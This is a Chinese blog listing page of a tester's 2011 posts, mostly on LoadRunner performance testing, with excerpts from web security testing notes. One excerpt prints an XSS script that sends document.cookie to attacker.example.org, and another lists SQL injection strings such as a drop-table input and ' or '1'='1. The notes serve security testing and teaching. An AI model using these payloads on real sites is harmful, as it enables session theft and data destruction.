自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(43)
  • 资源 (1)
  • 收藏
  • 关注

原创 测试流程管理——瀑布式,迭代式

<br />瀑布型<br />阶段<br />输入<br />要求<br />输出<br />需求分析审查<br />市场/产品需求定义、分析文档和相关技术文档<br />需求定义要准确、完整和一致性,真正理解客户的要求<br />需求定义中的问题列表;批准的需求分析文档;测试计划书的起草<br />设计审查<br />产品规格设计说明;系统架构和技术设计文档;测试计划和测试用例<br />系统结构的合理性;处理过程的正确性;数据库的规范性;模块的独立性;清楚定义测试计划的策略、范围、资源和风险,测试用例的

2011-04-27 16:21:00 1430

原创 跟踪法测试(灰盒测试):跟踪程序的运行过程,特别是输入数据的流转过程

一、跟踪SQL语句需要结合设局哭的设计来检查这些sql语句操作的是正确的数据库表,存储过程和函数。e.g.Sqlserver的事件探查器二、跟踪网络socket包(协议测试)有些系统采用了自定义的通信协议,可以使用一些网络监视工具来截获网络socket包,然后查看这些通信的内容和格式是否正确(要有一定的网络分析知识,会使用网络分析软件)三、跟踪日志该写日志的地方是否已写日志;日志是否妥当地标识并分类,是否易于查找;是否出现不该写的日志(Windows事件查看器)

2011-04-27 15:45:00 533

原创 黑盒测试方法

<br />一、等价类划分<br />例子:NextDate 函数包含三个变量:month 、 day 和 year ,函数的输出为输入日期后一天的日期。 例如,输入为 2006年3月 7日,则函数的输出为 2006年3月8日 。要求输入变量 month 、 day 和 year 均为整数值,并且满足下列条件:<br />  ①1≤month≤12<br />  ②1≤day≤31<br />  ③1920≤year≤2050  <br />1) 有效等价类为:<br />    M1={月份:1≤月份≤1

2011-04-27 15:12:00 1271

原创 多层面安全测试

<br />1)使用xss窃取cookie<br />窃取cookie的javascript<br /><script>document.write('<img height=0 width=0 src="http://attacker.example.org/cookie_log?cookie=' +encodeURI(document.cookie)+' "/>')</script><br />窃取cookie的恶意URL<br />http://www.example.com/example?vuln

2011-04-27 15:03:00 500

原创 操作会话

<br />会话机制:<br />1)存储在cookie中<br />2)存储在请求中,url或隐藏表单域<br />在cookie中查找会话标识符<br />使用TamperData或WebScarab中查看请求,搜索以某种形式出现的字符串session<br />在请求中查找会话标识符<br />view source chart,查找隐藏域<br />查找Authorization头<br />使用TamperData,通常401是Authentication Required<br />MD5进行身

2011-04-27 15:02:00 378

原创 AJAX攻击

<br />AJAX应用需要服务器上的许多API,这些API给出的响应是javascript所解析和解释的xml或json数据<br />AJAX应用中的安全威胁:服务器API未能检查发请求的浏览器的授权;客户端数据未验证是否符合逻辑或遵守业务规则<br />攻击步骤:<br />第一步:观察实时的AJAX请求,使用firebug net,理解web应用底层逻辑<br />第二步:识别应用中的javascript,注意,js组件的url是相对页面的原始url而言的<br />第三步:从AJAX活动回溯到源代

2011-04-27 14:36:00 1153

原创 网站设计缺陷checklist

九、查找设计缺陷1)绕过必需的导航① http://www.example.com/download.jsp?step=1&auth=false修改step和auth的值② 使用默认的管理员账号③ 跟踪必需的过程,然后返回跳过某个步骤2)尝试特权操作① 以管理员或特权的用户的身份进行登录,导航到须要这些特权的页面,然后注销特权并以普通用户或访客身份登录② 以一名用户的身份登录并将他的URL黏贴到另一名用户的会话中3)滥用密码恢复密码恢复机制:1)个人秘密:字典攻击2)email恢复:字典攻击3)管理员恢复:

2011-04-27 14:29:00 577

原创 使用cURL实现自动化安全测试

<br />使用cURL获取页面<br />#basic invocation将输出写入到指定的文件<br />curl -o example.html http://www.example.com/<br />#fetch a secure web page通过SSL/TLS获取页面时忽略它不能验证SSL证书<br />curl -k -o example-secure.html https://www.example.com/<br />#fetch a file by FTP have curl au

2011-04-27 13:47:00 1106

原创 自动化批量扫描

<br />1)使用WebScarab爬行网站:系统地访问每个页面并跟踪每个链接的过程  <br />第一步:启动webscarab<br />第二步:配置浏览器使用webscarab(网络设置localhost:8008,将这个代理服务器应用到所有协议<br />第三步:配置webscarab,<br /><br />第三步:浏览你所希望爬行的起始页面<br />第四步:在webscarab的spider窗格中,找到对应的起始点的请求。<br /><br />切换到messages窗口以查看爬虫的进度。<

2011-04-27 13:43:00 1785

原创 篡改输入

1) 截获和修改POST请求篡改表单、文件、GET、POST、AJAX、Cookie、头信息  工具:使用WebScarab截获和修改数据,避开页面所指定的所有限制或修改    2)生成包含任意数据的文件,通过WebScarab工具,黏贴文件内容到某个参数并提交(只针对post表单)3) 篡改URL   (1) 与访问相关的参数 http://example.com/getDoc?readOnly=true http://example.com/viewData?customerID=573892(2) 重

2011-04-27 13:21:00 536

原创 面向web的数据编码

<br />Base-16<br />0-9 a-f(不区分大小写)<br />Base-8<br />0-7<br />Base-36<br />0-9 a-z(不区分大小写)<br />Base-64<br />0-9 a-z A-Z + / 如果输入数据编码不是4字节的整数倍,就会在末尾添加1个或等个=以补全4的倍数<br />Base-64编码不包含压缩,编码后的数据比未编码的输入长。例如数据库存储的原始数据更改为存储Base-64编码,对长度限制会不一样<br />URL编码<br /><Tric

2011-04-27 13:18:00 321

原创 网络安全测试工具

<br />Paros<br />可以捕获和篡改http请求与响应的内容<br />Trap request可以修改http请求的内容,再发送给服务器<br />Trap response可以修改http响应的内容,再发送给浏览器<br />将用户输入的文字进行URL编码或解码<br />MaxPatrol<br /><br />Nessus<br /><br />NetInfo<br />网络常用命令工具<br />Firefox扩展<br />① Firebug<br />var test_elemen

2011-04-27 12:38:00 981

原创 常见网页安全测试tips

1)登陆测试2)数据加密3)url和api身份验证(直接将一些地址输入到新开的浏览器,可以绕过登陆页面)4)跨站脚本:web应用程序从用户处获取的输入(字符串,包含脚本的字符串)没有进行验证就在web页面上显示。不仅要在客户端进行用户输入的检查,还需要在服务器端,因为利用一些工具可以修改提交到服务器的字符串5)sql注入:代码审查,查看所有涉及SQL语句提交的地方,是否正确处理了用户输入的字符串输入单引号,检查是否转义输入],检查是否对括号进行处理';drop tablename;*' or '1' ='1

2011-04-27 12:33:00 441

原创 脚本调试方法

<br />1) 断点与分步调试<br />断点:将光标切换到须要暂停执行的代码行上,按下键盘F9。设置断点后,按F5来运行脚本。<br />分步调试:F10<br />当运行到断点位置时,再按下F10切换到分布调试模式,在分布调试过程中按下F5使脚本连续执行,直到遇到新的断点为止<br />2) 跟踪运行于日志与输出脚本调试信息<br />设置日志级别,使VuGen在回放日志窗口中输出相关的执行信息<br />通过消息处理函数直接输出一些变量的运行信息,或者函数的执行结果来跟踪相关的运行信息<br />3

2011-04-27 12:30:00 634

原创 SMTP脚本

<br />Action{<br />smtp = 0;<br />smtp_logon_ex(&smtp,"SmtpLogon","URL=smtp://","LogonUser=dani","LogonPass=dfe","CommonName=LoadRunner User",LAST);<br />smtp_send_mail_ex(&smtp,"SendMail","To=","From=","Subject=","ContentType=",MAILOPTIONS,"X-mailer:",MAI

2011-04-27 12:29:00 483

原创 FTP脚本

<br />

2011-04-27 12:28:00 298

原创 Java虚拟脚本常用API

<br />事务函数<br />lr.start_transaction<br />lr.end_transcation<br />信息函数<br />lr.get_group_name<br />lr.get_host_name<br />lr.get_master_host_name<br />lr.get_scenario_id<br />lr.get_vuser_id<br />运行时函数<br />lr.rendezvous<br />lr.think_time<br />lr.peek_even

2011-04-27 12:28:00 369

原创 .NET虚拟用户

<br />1) 安装LoadRunner .NET插件,在visual studio 中加载.NET插件(工具——外接程序管理器)<br />.NET虚拟用户需要编译(F6)后才可以在VuGen里运行<br />2)积累常用工具类<br />文件工具<br />从文本文件中随机读取一行<br />从文本文件中顺序读取每行,然后保存到字符串数组中<br />把源文件夹中的内容复制到目标文件夹下<br />获取文件长度<br />将指定内容保存到指定文件中<br />目录工具<br />获取指定文件夹下的所有

2011-04-27 12:26:00 300

原创 Java虚拟用户常用API

<br /><br />事务函数<br />lr.start_transaction<br />lr.end_transcation<br />信息函数<br />lr.get_group_name<br />lr.get_host_name<br />lr.get_master_host_name<br />lr.get_scenario_id<br />lr.get_vuser_id<br />运行时函数<br />lr.rendezvous<br />lr.think_time<br />lr.pee

2011-04-27 12:26:00 349

原创 动态链接库函数的调用(在lr中使用dll)

1) 静态库与动态库静态链接库是一个函数和数据都已经编译好的二进制文件。动态链接库是指可执行程序运行时动态加载的运行库,动态链接库不但要提供lib文件,还必须提供核心的dll文件。动态库的lib文件只包含了导出的函数和变量的符号名,而dll文件则包含了实际的函数和数据。因此隐式加载动态链接库时需要提供lib文件,而显示加载动态链接库时只需要提供dll文件即可,而无须提供lib文件。DLL适用用于基于c++语言开发的业务系统的性能测试,可以通过dll直接来测试一些方法的性能。调用开发人员包含加密与解码函数的d

2011-04-27 12:19:00 750

原创 winsock脚本录制方式及步骤

<br />代理录制方式录制web脚本<br />(1)录制步骤(通过wplus_init_wsock.exe方式)<br />第一步:新建一个单协议的虚拟用户脚本,协议类型选择web(HTTP/HTML)。修改Recording Options的Port Mapping设置<br />wplus_init_wsock.exe(LoadRunner自带的一个代理程序)<br /><br />流量转发:允许从本地端口转发到目标服务器,vugen将会侦听客户端计算机发送到指定端口的所有流量,并将其转发到服务器。

2011-04-27 12:14:00 790

原创 winsock脚本常用函数

<br />基本函数<br /><br />lrs_create_socket("socket0", "TCP", "LocalHost=9001","Backlog=0", LrsLastArg);<br /><br />lrs_close_socket("socket0");<br /><br />lrs_accept_connection("socket0", "socket1");<br />从监听socket的连接队列中取出第一个连接,然后用相同的属性创建一个新的socket连接用来传输数据,原来

2011-04-27 12:07:00 537

原创 web虚拟用户脚本常用函数

<br />1)cookie<br />web_add_cookie<br />添加新的cookie或修改已经存在的cookies<br />web_remove_cookie<br />删除指定的cookies<br />web_cleanup_cookies<br />删除所有被vuser保存的cookies<br />web_reg_add_cookie<br />如果找到某些特定文字,则添加到cookies中<br />在录制web虚拟用户脚本时,vugen会检测发送到浏览器的所有cookie,然后

2011-04-27 12:00:00 524

原创 Vuser开发常用函数

<br />1)用户事务函数<br />int lr_start_transaction(const char* transation_name);<br /><br />int lr_end_transaction(const char* transaction_name,int status);<br />LR_PASS<br />LR_FAIL<br />LR_AUTO(默认值是LR_PASS)<br />LR_STOP<br />可以通过lr_set_transaction_status修改<br

2011-04-27 11:57:00 327

原创 Vuser常用的c语言函数

<br />char *strchr(const char * string,int c)<br />用于查找指定字符在一个字符串中第一次出现的位置,然后返回指向该位置的指针<br />char *strrchr(const char * string,int c)<br />最后一次出现的位置<br />char *strcpy(char *dest,const char *source);<br />把一个字符串复制到另一个字符串,不能复制中间存在/0的数据<br />char *strncpy(cha

2011-04-27 11:50:00 313

原创 LoadRunner定义变量特定要求

<br />① 对于vuser_init()、Action()、vuser_end()、新创建的用户action、用户自定义函数等,变量必须定义在函数的最开始部分或函数部分,脚本中间不允许定义变量。<br />② 全局变量在函数的外部定义,如果是基于web(HTTP/HTML)协议创建的脚本,则可以在globals.h中定义全局变量。<br />③ 自定义函数的作用域是整个虚拟用户脚本<br />④ 在应用函数时应仔细阅读函数的联机说明和实例,浮点数的取值是近似值,所以在进行等值判断时,必须取相同的精度,最

2011-04-27 11:48:00 543

原创 LoadRunner常见问题

<br />1)参数的百条显示限制<br />修改vugen.ini<br />[ParamTable]<br />MaxVisibleLines=100<br />2)密文改为明文<br />lr_decrypt("");<br />3)附加变量的运用<br /><br />4)脚本中乱码问题<br /><br />5)自定义表头<br /><br />6)线程和进程运行方式的区别<br />多线程的主要优势是每个负载生成器能运行多个vuser,只有线程安全协议才能作为线程运行。如果按进程运行,则对于每个

2011-04-27 11:47:00 352

原创 性能分析原则及步骤

<br />性能分析原则:<br />首先,应该从原始测试数据总查看系统响应时间,判断它是否满足用户性能的期望<br />其次,如果存在问题,判断系统的瓶颈是出现在网络环节,还是服务器环节<br />性能分析步骤:<br /><br />1)从分析summary的事务执行情况入手<br />2)查看负载发生器和服务器的系统资源情况(负载是否均衡,cpu利用率,内存使用情况,是否有内存泄露)(借助analysis意外的各种分析工具(e.g.数据库分析工具)<br />3)查看虚拟用户与事务的详细执行情况(虚拟

2011-04-27 11:45:00 355

原创 结果分析方法

<br />1. 分析图合并<br />分析图合并原理view merge graphs<br />① 叠加:查看共用同一X轴的两个图的内容。合并图左侧的Y轴显示当前图的Y轴值,右边的Y轴显示合并进来的图的Y轴值<br />② 平铺:查看在平铺布局,共用同一个X轴,合并进来的图显示在当前图的上向 <br />③ 关联:合并后当前活动图的Y轴变为合并图的X轴,被合并图的Y轴作为合并图的Y轴  <br />2. 分析图关联(当前分析图右键auto correlate-correlation options)<b

2011-04-27 11:42:00 804

原创 Analysis报告(html、word、水晶报表)

1)html报告2)Word报告3)水晶报表:活动报告(场景执行报告、失败事务报告、失败虚拟用户报告),性能报告(数据点报告、详细事务报告、事务性能报告)

2011-04-27 11:39:00 383

原创 Analysis常见分析图(Vuser图、每秒点击数图、平均事务响应时间、吞吐量)

<br />1) Vuser图<br /><br />2) 每秒点击数图<br /><br />3) 平均事务响应时间图<br /><br />4) 吞吐量图<br />

2011-04-27 11:38:00 2781

原创 报告摘要

<br />概要部分、统计部分、事务统计部分、http响应统计<br />概要部分、统计部分、事务统计部分、http响应统计<br /><br /><br /><br />

2011-04-27 11:37:00 246

原创 analysis分析器介绍

<br />1)analysis基础知识<br />① Vuser日志文件,包括每个Vuser运行方案的完整跟踪 <br />② Controller输出窗口,输入窗口中错误信息<br />③ Analysis图,分析数据的最主要手段<br />④ “图数据”视图和“原始数据”视图以电子表格形式显示用于生成图的实际数据 <br />⑤ 报告形式,包括HTML、Word和水晶报表三种形式的报告。  <br /><br />2)设置选项<br />(1)result collection设置<br />(2)S

2011-04-27 11:34:00 617

原创 场景监视

关于联机监控 “运行时”监视器:显示参与场景的Vuser数和状态,以及Vuser生成的错误数和类型 “事务”监视器:显示场景运行时,各事务速率和响应时间 “Web资源”监控器:监视场景运行时期间Web服务器上的信息,主要包括Web连接数、吞吐量、HTTP响应数、服务器重试次数和下载到服务器的页面数信息 “系统资源”监控器:主要是监控场景运行期间Windows、UNIX、Tuxedo、SNMP、Antara FlameThrower和SiteScope资源使用情况 “网络延迟”

2011-04-27 11:28:00 294

原创 场景执行

<br />1)场景控制<br />2)场景执行期间查看场景<br />Vuser:<br /><br />状态<br /><br />含义<br />关闭(Down)<br /><br />Vuser处于关闭状态<br />挂起(Pending)<br /><br />Vuser初始化已就绪,正在等待可用的负载生成器,或者正在向负载生成器传输文件<br />初始化(Init)<br /><br />Vuser正在进行初始化<br />就绪(Ready)<br /><br />Vuser已经执行了脚本的初始

2011-04-27 11:26:00 484

原创 场景设计

手动场景配置1)配置测试脚本script(如果对脚本修改后,一定要在controller中重新加载该脚本)2)配置负载生成器generator3)配置schedule(vuser加载方式:按场景计划或按用户组计划)ramp up加压页指定同时加载所有的虚拟用户或者每隔一段时间加载一定数目的虚拟用户duration持续时间页可以指定场景是否运行直到完成。对所有的虚拟用户进行加压后,再将场景运行指定的事件或无限期运行rame down减压页可以指定运行场景后,立即同时停止所有运行的虚拟用户或者每隔一段时间停止指

2011-04-27 11:11:00 409

原创 Controller Tools——场景类型介绍

场景主要用来模拟真实世界的用户是如何产生压力的。一组测试场景需要对虚拟用户脚本、运行虚拟用户的负载生成器、虚拟用户/虚拟用户组行为进行配置设定。(1)手动场景:用户组(为每个用户组配置虚拟用户数);百分比(设置一个虚拟总数,每个脚本按百分比分配)(2)面向目标场景目标类型:1)Virtual Users目标类型:这种目标类型主要是用来测试服务器对并发用户的处理能力,这种目标类型与手动设置2)Hit per Second目标类型:设置的目标是点击数/秒。同时要设置最小虚拟用户数和最大虚拟用户数,当场景执行时,

2011-04-27 10:48:00 749

原创 脚本错误处理与调试机制

<br /><br />函数<br />作用<br />例子<br />Lr_save_string<br />将非空字符串保存到指定的参数中,可以在某些关联场景中将处理过的字符串保存起来,以便后面进行参数化<br />Lr_save_string(s,"username")//将字符串s保存到username中<br />Lr_eval_string<br />返回instring参数中的实际字符串值,可以使用该函数来查看参数化取值是否正确<br />Lr_output_message("ID is %s

2011-04-27 10:39:00 295

原创 VUser脚本完善

<br />1) 插入事务(录制前或录制后)<br /><br />显示事务:手工插入<br />隐式事务:Run-time Settings<br /><br />2) 参数化(只有部分函数的参数才能参数化,只支持mpctext参数化)<br />第一步:用参数替换vuser脚本中的变量<br /><br /><br />第二步:为参数设置属性和数据源<br /><br /><br />(1)browser设置:filepath相对路径./parameter/xxx.dat<br />(2)Select 

2011-04-27 10:25:00 674

原创 Run_Time Settings

<br /><br /><br />(1) run logic(脚本迭代次数)<br /><br />(2) Pacing<br /><br />(3) Think time<br /><br />(4) miscellaneous<br />

2011-04-27 10:15:00 199

snort v.s. suricata规则对比

入侵检测snort、suricata 规则语法对比,枚举出支持的keyword

2018-10-25

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除